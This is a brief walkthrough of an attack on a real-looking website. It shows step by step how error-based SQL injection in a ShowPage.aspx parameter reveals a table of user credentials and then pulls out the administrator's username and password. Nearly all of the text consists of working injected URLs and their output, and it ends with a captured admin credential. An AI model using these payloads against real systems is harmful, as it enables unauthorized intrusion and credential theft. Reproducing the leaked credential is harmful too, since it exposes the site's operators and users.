Getting table which contains Username and Password:
Easiest way is to search it:
http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27))--
table_name = Seller
Its not that table we are seeking, so we keep on:
http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27 and table_name not in ('Seller')))--
Bingo
Table_name = USER_
Start to get username and pass from USER_:
http://www.xxx.ir/ShowPage.aspx?page_=news&lang=1&tempname=fire&sub=0&PageID=36&PageIDF=2 or 1=convert(int,(select top 1 %2b'Username= '%2bconvert(varchar,isnull(convert(varchar,user_name),'NULL'))%2b' -- Password= : '%2bconvert(varchar,isnull(convert(varchar,Pass),'NULL')) from USER_ where Code='1'))
user : admin
pass : kaBY/8jRC+XbjSIIDhsHFmOX1B2pDd
